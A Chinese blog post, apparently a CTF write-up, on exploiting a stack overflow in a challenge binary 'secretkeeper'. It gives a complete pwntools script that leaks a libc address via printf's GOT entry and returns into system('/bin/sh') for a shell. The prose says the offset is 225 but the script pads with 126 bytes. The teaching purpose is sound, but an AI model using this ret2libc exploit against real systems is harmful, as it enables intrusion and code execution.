Yable

栈溢出利用小结

栈溢出是最简单的漏洞了,主要是通过学习栈溢出,学习其绕过保护机制的利用。

 

这里先用一道典型的题secretkeeper来进入。利用方式就是典型的地址泄露+ret2libc。

 

 

 其漏洞的位置在修改secret的时候出现的:

 

 

 现在我们来测一下。输入选择4,然后300个A,程序出现问题。

 

现在找到漏洞了,就太好了,接下来就是计算溢出点了。

 

溢出点在偏移225处,验证一下,输入225 * "A"+"BBBB".

 

果然程序的EIP到了我们的BBBB上面了,说明偏移正确。下面就是如何来绕过NX了。绕过方式就是ret2libc。

 

 1 from pwn import *
 2 debug  = 1
 3 local = 1
 4 if local:
 5     io = process(\'./secretkeeper\')
 6 else:
 7     io = remote("127.0.0.0",8080)
 8 
 9 context.log_level = \'debug\'
10 
11 if debug:
12     gdb.attach(io)
13     #gdb.attach(pidof(\'secretkeeper\')[-1])
14 
15 #-------------------------------------------------------#
16 
17 def create():
18     io.recvuntil(\'Please input your option:\')
19     io.sendline(\'1\')
20     io.recvuntil(\'Enter secret name:\')
21     io.sendline(\'name\')
22     io.recvuntil(\'Enter your password:\')
23     io.sendline(\'pass\')
24     io.recvuntil("Enter the secret level (The bigger the more important):")
25     io.sendline(\'10\')
26     io.recvuntil(\'Enter your secret:\')
27     io.sendline(\'AAAA\')
28 
29 def edit(payload):
30     io.recvuntil(\'Please input your option:\')
31     io.sendline(\'4\')
32     io.recvuntil(\'Enter the name of the secret to EDIT:\')
33     io.sendline(\'name\')
34     io.recvuntil(\'Enter your password:\')
35     io.sendline(\'pass\')
36     io.recvuntil(\'Enter the new level:\')
37     io.sendline(\'2\')
38     io.recvuntil(\'Enter your secret:\')
39     io.sendline(\'2\')
40     io.recvuntil(\'y/n\')
41     io.sendline(payload)
42 
43 #----------------------------------------------------------#
44 
45 print_plt = 0x080484A0
46 main = 0x08048A8F
47 print_got = 0x0804B00C
48 
49 payload = \'A\'*126
50 payload += p32(print_plt) + p32(main) +p32(print_got)
51 
52 create()
53 edit(payload)
54 
55 io.recvuntil(\'Your changes have been recorded!\')
56 io.recvline()
57 print_got_addr = u32(io.recv(4))
58 print \'print_got_addr=\' ,hex(print_got_addr)
59 
60 libc =ELF(\'/lib/i386-linux-gnu/libc.so.6\')
61 libc_addr = print_got_addr - libc.symbols[\'printf\']
62 
63 system_got = libc_addr + libc.symbols[\'system\']
64 print \'system_got=\' ,hex(system_got)
65 
66 ssh_addr = libc_addr + next(libc.search(\'/bin/sh\'))
67 print \'ssh_addr=\' ,hex(ssh_addr)
68 
69 payload1 = \'A\'*126
70 payload1 += p32(system_got) + p32(main) +p32(ssh_addr)
71 
72 create()
73 edit(payload1)
74 #gdb.attach(p,open( \'aa\'))
75 
76 
77 io.interactive()

 

 

 参考文档:

  ret2libc:http://blog.csdn.net/linyt/article/details/43643499

      http://blog.csdn.net/guilanl/article/details/61921481

 

 

 

 

 

 

分类:

技术点:

相关文章: